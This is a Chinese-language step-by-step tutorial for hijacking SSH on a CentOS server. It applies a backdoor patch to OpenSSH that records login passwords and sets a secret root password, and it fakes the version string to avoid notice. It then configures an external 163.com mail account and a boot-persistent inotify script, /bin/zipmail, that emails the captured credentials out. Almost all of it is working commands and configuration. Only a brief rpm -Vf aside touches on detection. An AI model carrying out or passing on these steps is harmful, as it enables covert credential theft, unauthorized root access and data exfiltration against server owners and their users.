ssh劫持root密码发送到邮箱(个人的)
程序员文章站
2022-04-09 12:50:50
...
简述思路:
在服务器上安装一个打了后门补丁的sshd服务,
当用户来连接时,直接把密码记录下来。然后 使用脚本发给我们的邮箱中。
一、准备环境
一台 centos6 服务器
1.查看ssh版本
[aaa@qq.com localhost ~]# ssh -v
OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013
2.确认gcc是否已安装
[aaa@qq.com localhost ~]# gcc -v
Using built-in specs.
gcc version 4.4.7 20120313 (Red Hat 4.4.7-23) (GCC)
如果没有安装:
yum -y install gcc
二、上传压缩包到linux 的 /tmp 目录
[aaa@qq.com localhost tmp]# ll
0x06-openssh-5.9p1.patch.tar.gz
inotify-tools-3.13.tar.gz
openssh-5.9p1.tar.gz
1、cd /tmp/ 解压
[aaa@qq.com localhost tmp]# tar zxvf openssh-5.9p1.tar.gz
[aaa@qq.com localhost tmp]#tar zxvf 0x06-openssh-5.9p1.patch.tar.gz
2、开始打补丁
[aaa@qq.com localhost tmp]# cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1/
[aaa@qq.com localhost tmp]#cd openssh-5.9p1
[aaa@qq.com localhost openssh-5.9p1]# patch < sshbd5.9p1.diff #打补就修改或者替换原来的文件
patching file auth.c #认证
patching file auth-pam.c #认证
patching file auth-passwd.c #认证
patching file canohost.c
patching file includes.h
patching file log.c
patching file servconf.c #关于sshd服务端
patching file sshconnect2.c #关于sshd连接
patching file sshlogin.c #关于登录,把root密码记录下来
patching file version.h #关于版本
3、修改后门密码和记录root密码的文件夹目录
vim /tmp/openssh-5.9p1/includes.h
找到
改:
177 #define ILOG "/tmp/ilog" #记录登录到本机的用户名和密码
178 #define OLOG "/tmp/olog" #记录从本机登录到其他服务器上的用户名和密码
179 #define SECRETPW "apaajaboleh" #你后门密码
为:
177 #define ILOG "/usr/share/ifile"
178 #define OLOG "/usr/share/ofile"
179 #define SECRETPW "myname"
原来系统的版本::
[aaa@qq.com localhost ~]# ssh -V
OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013
4、为了使用安后的版本和原系统的版本一样,修改版本号:
[aaa@qq.com localhost ~]# vim /tmp/openssh-5.9p1/version.h
改:
3 #define SSH_VERSION "OpenSSH_5.8p1 Debian-1ubuntu3"
4
5 #define SSH_PORTABLE "p1"
为:
3 #define SSH_VERSION " OpenSSH_5.3"
4
5 #define SSH_PORTABLE "p1"
5、安装打了后门补丁的sshd服务
[aaa@qq.com localhost ~]# yum install -y openssl openssl-devel pam-devel zlib zlib-deve
开始安装:
[aaa@qq.com localhost ~]# cd /tmp/
[aaa@qq.com localhost tmp]# cd openssh-5.9p1
[aaa@qq.com localhost openssh-5.9p1]# ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5
参数说明:
--prefix=/usr #指定安装到/usr 目录下
--sysconfdir=/etc/ssh #指定sshd服务配置文件目录
--with-pam #支持pam认证
--with-kerberos5 #支持kerberos认证
[aaa@qq.com localhost openssh-5.9p1]# make -j 4 && make install
扩展: 通过rpm -Vf 检查命令是否被替换
[aaa@qq.com localhost openssh-5.9p1]# rpm -Vf /usr/bin/scp
S.5....T. /usr/bin/scp
S.5....T. /usr/bin/sftp
S.5....T. /usr/bin/ssh
S.5....T. /usr/bin/ssh-add
SM5...GT. /usr/bin/ssh-agent
S.5....T. /usr/bin/ssh-keyscan
可以看到很多ssh协议相关的命令,都被我们安装的sshd服务相关的命令替换了。这是黑客经常做的事情。
6、重启sshd服务:
[aaa@qq.com localhost openssh-5.9p1]# service sshd restart
7、测试劫持密码
测试前,发现/usr/share/ifile文件没有存在
[aaa@qq.com ~]# ls /usr/share/ifile
ls: cannot access /usr/share/ifile: No such file or directory
8.使用xshell登录zmedu63,模拟远程登录
9、另外我们也可以使用后门密码来登录root帐号
[aaa@qq.com localhost ~]# ssh aaa@qq.com10.0.0.20 myname
[aaa@qq.com localhost ~]# cat /usr/share/ofile #查看记录从zmedu64登录到远程主机的密码
user:aaa@qq.com --> root:123456@10.0.0.20
user:aaa@qq.com --> root:aaa@qq.com10.0.0.20
二、自动发现邮件
这里以163的smtp服务器为例,实现自动发送邮件有以下两种方法:
方法1:通过sendmail或postfix给自己发邮件。 缺点: 需要开服务
方法2:LINUX下通过外部SMTP服务器发邮件,就像在Linux安装一个foxmail。
1、使用mail.rc实现发邮件
[aaa@qq.com localhost ~]# vim /etc/mail.rc #在此文件中间,随机找个位置插入以下内容:
下面的邮箱用的是 个人网易163 邮箱进行测试
set from=aaa@qq.com163.com smtp=smtp.163.com
set smtp-auth-user=wangyi smtp-auth-password=PASSWORD smtp-auth=login
set from=aaa@qq.com163.com #指定发件人的邮箱,这里我们就写成和收件人的邮箱一样。
set smtp-auth-user=wangyi #写自己发件人的邮箱帐号
smtp-auth-password=PASSWORD #写自己发件人的邮箱授权码
2、配置163邮箱,开启pop3/smtp服务
登录mail.163.com网站
点:设置->POP3/SMTP/IMAP->开启pop3服务(勾选开启pop3服务后,smtp也会自动开启)
点击开启POP3/SMTP/IMAP服务
勾选POP3/SMTP服务,随后弹出提醒相关信息,点击确定
勾选开启,随后需要设置客户端授权,需要手机以短信形式获取验证码,获取验证后,输入验证码并点击确定
设置授权密码,此密码用于第三方邮件客户端使用,既在linux主机实验中发送邮件也是使用该密码
设置第三方邮件客户端密码完成后,随后出现设置授权提示,点击确定即可完成设置
3、测试邮件发送
[aaa@qq.com localhost ~]# mail -s "kime nei da lei" aaa@qq.com163.com < /usr/share/ifile
查看:
4、编写shell脚本自动发邮件,邮件的主题是服务器的IP地址
[aaa@qq.com localhost ~]# vim /bin/zipmail
#!/bin/bash
ip=`ifconfig |grep inet| sed -n '1p'|awk '{print $2}'|awk -F ':' '{print $2}'`
mail -s $ip aaa@qq.com163.com < /usr/share/ifile
[aaa@qq.com localhost ~]# chmod +x /bin/zipmail
5、测试
[aaa@qq.com localhost ~]# /bin/zipmail
发现也可以收到邮件,说明成功。
四、实现当用户修改密码后,自动发邮件
1、安装inotify
[aaa@qq.com localhost ~]# cd /tmp/
[aaa@qq.com localhost inotify-tools-3.13]# tar -zxvf inotify-tools-3.13.tar.gz
[aaa@qq.com localhost tmp]# cd inotify-tools-3.13
[aaa@qq.com localhost inotify-tools-3.13]#./configure #检查安装环境
[aaa@qq.com localhost inotify-tools-3.13]#make -j 4 #make编译,将源代码编译成二进制,可执行的文件 # -j 4 使用4个CPU一起编译。
[aaa@qq.com localhost inotify-tools-3.13]# make install #安装
2、编写触发式自动发邮件脚本
[aaa@qq.com localhost ~]# vim /bin/zipmail
/usr/local/bin/inotifywait -mrq -e create,move,delete,modify /usr/share/ifile |while read a b c
do
ip=`ifconfig |grep inet| sed -n '1p'|awk '{print $2}'|awk -F ':' '{print $2}'`
mail -s $ip aaa@qq.com163.com < /usr/share/ifile
done
4、设置开机启动zipmail脚本
[aaa@qq.com localhost ~]# vim /etc/rc.local #在此文件的最后插入以下内容。
/bin/zipmail &
5、测试
[aaa@qq.com localhost ~]# bash /etc/rc.local #可以运行
6、排查
[aaa@qq.com localhost ~]# ps -aux |grep inoti
Warning: bad syntax, perhaps a bogus '-'? See /usr/share/doc/procps-3.2.8/FAQ
root 41545 0.0 0.0 6232 536 pts/1 S 12:20 0:00 /usr/local/bin/inotifywait -mrq -e create,move,delete,modify /usr/share/ifile
root 41549 0.0 0.0 103316 840 pts/1 S+ 12:21 0:00 grep --color=auto inoti
以上既是 ssh劫持root密码发送到我的邮箱